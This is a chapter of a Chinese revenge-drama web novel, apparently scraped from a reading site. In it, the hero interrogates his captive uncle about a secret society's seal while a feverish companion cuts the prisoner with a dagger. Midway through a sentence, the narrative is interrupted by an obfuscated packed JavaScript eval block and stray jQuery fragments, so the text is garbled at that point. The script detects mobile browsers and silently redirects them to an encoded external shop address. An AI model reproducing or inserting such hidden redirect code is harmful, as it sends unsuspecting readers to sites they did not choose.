默认冷灰
24号文字
方正启体

16. 秘印藏祸

作者:南京小梧桐本书字数:K更新时间:
    青石镇的风裹挟着血腥味,萧承业被粗绳绑得严严实实,瘫倒在地上,衣衫染血,眼底满是绝望与不甘。萧寒手中握着那枚陌生印章,指尖反复摩挲着诡异的纹路,身姿挺拔如松,周身散发着生人勿近的冷意,举手投足间皆是掌控全局的笃定,那份不费吹灰之力便将敌人拿捏的爽感,在阳光下愈发浓烈。


    谢临风依旧紧紧攥着萧寒的衣袖,高烧未退的脸颊依旧泛着病态潮红,咳嗽声断断续续,却死死盯着被绑的萧承业,眼底的阴戾未散,指尖时不时收紧,几乎要将萧寒的衣袖攥出褶皱。他微微侧身,将脸贴在萧寒的胳膊上,滚烫的呼吸喷洒在衣料上,语气带着几分病态的依赖与警告:“太傅,别让他耍花样,他要是敢撒谎,我就立刻割了他的舌头,省得他聒噪。”


    萧寒淡淡颔首,抬手将印章丢在萧承业面前,语气冰冷,没有一丝波澜,却带着碾压式的威慑:“说,这枚印章是什么来历?景氏背后的神秘势力,到底是谁?”


    萧承业垂眸看着那枚印章,身体猛地一颤,眼底闪过一丝恐惧,却死死咬着牙,不肯开口:“我不知道!我从来没见过这枚印章,一定是你们故意放在我身上,想栽赃陷害我!”他此刻还在负隅顽抗,妄图拖延时间,期盼着有奇迹发生。


    “不知道?”萧寒冷笑一声,语气里满是嘲讽,抬手示意林砚,“看来,萧叔父是忘了,我有的是办法让你开口。林砚,取刑具来,先废了他一根手指,看看他还敢不敢嘴硬。”


    “是!大人!”林砚领命,立刻让人取来刑具,寒光闪闪的匕首抵在萧承业的指尖,只需轻轻一割,便能废了他的手指。萧承业吓得浑身发抖,脸色惨白如纸,眼底的恐惧愈发浓烈,却依旧硬撑着:“萧寒,你敢!我是你叔父,你不能对我用刑!”


    “叔父?”萧寒冷笑,语气里满是不屑,“从你背叛萧氏、陷害谢父的那一刻起,你就不配做我萧家的人,更不配提‘叔父’二字。今日,要么说实话,要么受刑,你选一个。”他的语气平静,却没有丝毫商量的余地,那份掌控一切、进退自如的爽感,直击人心——敌人的挣扎,在他面前不过是徒劳。


    就在林砚即将动手之际,谢临风忽然上前一步,一把夺过林砚手中的匕首,眼底的温顺彻底消失,只剩下阴戾与偏执,他蹲下身,匕首抵在萧承业的另一只手的指尖,语气温顺得可怕,却带着刺骨的寒意:“萧承业,我劝你最好老实交代,太傅的耐心有限,我的耐心,更有限。你要是敢撒谎,我不仅要废了你的手指,还要一点点割掉你的肉,让你尝尝,什么叫生不如死。”


    他的指尖微微用力,匕首已经划破萧承业的指尖,鲜血瞬间渗出,滴在地上,晕开一小片猩红。谢临风笑得愈发诡异,眼底满是病态的快意,咳嗽几声,嘴角的血迹再次浮现:“你看,我下手可没有太傅那么温柔,你要是再嘴硬,下一刀,就不是指尖这么简单了。”


    萧承业看着谢临风病态的模样,再看看萧寒冰冷的眼神,终于崩溃了,浑身颤抖着,声音带着哭腔:“我说!我说!我全都告诉你!这枚印章,是景明给我的,他说,这是神秘势力的信物,只要持有这枚印章,就能调动神秘势力的人手,而那个神秘势力,名叫‘幽阁’,势力庞大,遍布朝野,当年构陷谢老大人,就是幽阁和景氏联手做的!”


    “幽阁?”萧寒眼底一凝,指尖摩挲着下巴,嘴角勾起一抹冷笑——果然还有这样一个隐秘势力,难怪景氏能潜伏多年,难怪谢父、萧父的旧案迟迟无法昭雪。但他没有丝毫慌乱,反而愈发从容,掌控全局的爽感愈发强烈:“幽阁的首领是谁?景明与幽阁,还有什么勾结?幽阁的据点在哪里?”


    萧承业浑身发抖,连忙说道:“我不知道幽阁首领是谁,景明也从来没说过,他只说,幽阁的首领身份神秘,连他都要忌惮三分。景明每年都会给幽阁供奉大量的金银珠宝,换取幽阁的支持,而幽阁,则帮景明铲除异己,掩盖罪证。至于幽阁的据点,我只知道一个,就在京城郊外的一座废弃古寺里,其余的,我真的不知道了!”


    谢临风眼底闪过一丝阴戾,匕首又用力了几分,语气冰冷:“你骗人!景明怎么可能什么都不告诉你?你一定是在撒谎,你还在护着幽阁,护着景明!”


    “我没有撒谎!我真的不知道!”萧承业吓得魂飞魄散,连连求饶,“谢殿下,求你饶了我,我知道的都已经说了,我再也不敢隐瞒了!”


    萧寒抬手,按住谢临风握刃的手,语气从容,掌控感十足:“好了,他不敢撒谎,再逼下去,也问不出更多东西了。”他看向林砚,“将萧承业押下去,严加看管,派人日夜审讯,看看能不能问出更多关于幽阁的线索。另外,派人立刻前往京城郊外的废弃古寺,探查幽阁的据点,摸清里面的人手,不要打草惊蛇。”


    “是!属下遵令!”林砚领命,立刻让人将萧承业押下去,安排人手审讯、探查据点,动作利落,全程恭敬,尽显萧寒的权势。


    谢临风立刻收起匕首,眼底的阴戾瞬间褪去,重新变得温顺,他轻轻拉了拉萧寒的衣袖,语气带着几分委屈:“太傅,我是不是太冲动了?我只是不想让他撒谎,不想让我们错过任何线索,不想让害过我们父亲的人,有任何逃脱的机会。”


    他说着,微微俯身,额头抵在萧寒的肩头,语气带着几分病态的呢喃:“太傅,你不会怪我吧?我只是太想护着你,太想和你一起报仇了。除了你,我什么都没有了,我不能失去你,更不能让任何人阻碍我们报仇。”


    萧寒不动声色地侧身,避开他的亲近,语气平淡却带着几分安抚:“我不怪你,只是以后不要这么冲动,凡事有我在,不用你动手。”他的语气依旧从容,却自带一股让人安心的力量,这份掌控一切、护下身边人的爽感,比任何胜利都更让人震撼。


    谢临风眼底泛起欢喜的光芒,咳嗽着笑了起来,嘴角的血迹愈发明显,模样惊艳却诡异:“我就知道,太傅不会怪我的!我听太傅的,以后凡事都听太傅的,不再冲动,只要能陪着太傅,只要能报仇,我什么都愿意做。”他说着,再次紧紧攥住萧寒的衣袖,指尖紧紧缠绕,像是要将两人永远绑在一起,眼底的偏执与占有欲,毫不掩饰。


    就在这时,一名亲信匆匆跑来,神色慌张,躬身禀报道:“大人,殿下,不好了!京中传来消息,景明在被押往天牢的途中,被一名神秘人刺杀了,刺杀者当场服毒自尽,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302037|198604||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    身上没有任何信物,只留下了一枚与萧承业身上一模一样的幽阁印章!”


    “什么?”萧寒眼底闪过一丝寒芒,指尖微微用力,手中的印章被攥出褶皱,却没有丝毫慌乱,反而嘴角勾起一抹嘲讽的弧度,“幽阁倒是出手挺快,怕景明泄露太多秘密,就先下手为强了。不过,他们越是急于灭口,就越说明他们心虚,越说明我们的方向是对的。”


    这份临危不乱、从容应对的姿态,正是萧寒爽感的核心——无论敌人如何反扑,他都能从容掌控局面,将敌人的算计,化为自己的筹码。


    谢临风的脸色瞬间沉了下来,眼底的温顺彻底消失,只剩下阴戾与疯狂,他紧紧攥着萧寒的手臂,力道大得几乎要捏碎他的骨头,语气冰冷刺骨:“幽阁的人,竟然敢杀景明!他们以为杀了景明,就能掩盖真相,就能逃脱惩罚吗?我定要找到幽阁的首领,亲手杀了他,让幽阁的人,血债血偿!”


    他的咳嗽愈发剧烈,嘴角的血迹不断渗出,却依旧死死盯着京城的方向,眼底满是偏执的恨意:“太傅,我们现在就回京城,立刻去郊外的废弃古寺,踏平幽阁的据点,抓住幽阁的人,问清楚所有的秘密,好不好?我受不了了,我想立刻为父亲报仇,想立刻除掉所有害过我们的人!”


    萧寒抬手,轻轻擦去他嘴角的血迹,语气从容而坚定:“不急。景明被刺,幽阁必然会有所防备,此刻前往古寺,只会打草惊蛇。我们先回京城,整理好所有证据,摸清幽阁的底细,再一举出击,将幽阁一网打尽,永绝后患。”


    他顿了顿,补充道:“而且,景明被刺,绝非偶然,刺杀者能在禁军的护送下动手,说明京中还有幽阁的内应,我们必须先找出内应,否则,就算踏平古寺,也无法彻底清除幽阁的势力。”


    谢临风眼底的疯狂渐渐褪去,重新变得温顺,他点了点头,紧紧攥着萧寒的衣袖,语气带着几分依赖:“好,我听太傅的,只要太傅带着我,我什么都听你的。但太傅要答应我,一旦有幽阁的消息,一定要第一时间告诉我,我要亲手杀了他们,为我父亲报仇,为萧伯父报仇。”


    “好。”萧寒淡淡颔首,语气依旧从容,目光望向京城的方向,眼底满是锐利。幽阁的出现,景明的被刺,京中的内应,这些看似棘手的麻烦,在他眼中,不过是通往真相的垫脚石。他清楚,一场针对幽阁的清算,即将拉开序幕,而他,将依旧掌控全局,一步步撕开幽阁的神秘面纱,为谢父、萧父报仇雪恨。


    谢临风紧紧依偎在萧寒身边,眼底满是偏执与温顺,他看着萧寒的侧脸,嘴角勾起一抹诡异的笑容——只要能陪着太傅,只要能报仇,无论付出什么代价,他都愿意。谁敢阻碍他们,谁敢伤害太傅,他就杀了谁,哪怕是粉身碎骨,也在所不惜。


    一行人浩浩荡荡朝着京城返程,马车上,谢临风依旧死死攥着萧寒的衣袖,目光一刻也不肯离开他,高烧让他昏昏欲睡,却依旧在睡梦中呢喃着“太傅”“报仇”,眼底的偏执,即便在睡梦中,也未曾褪去。而萧寒,指尖摩挲着那枚幽阁印章,神色平静,心中早已布下天罗地网,只待回到京城,便要让幽阁,付出应有的代价,那份掌控全局的爽感,在心中缓缓蔓延。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)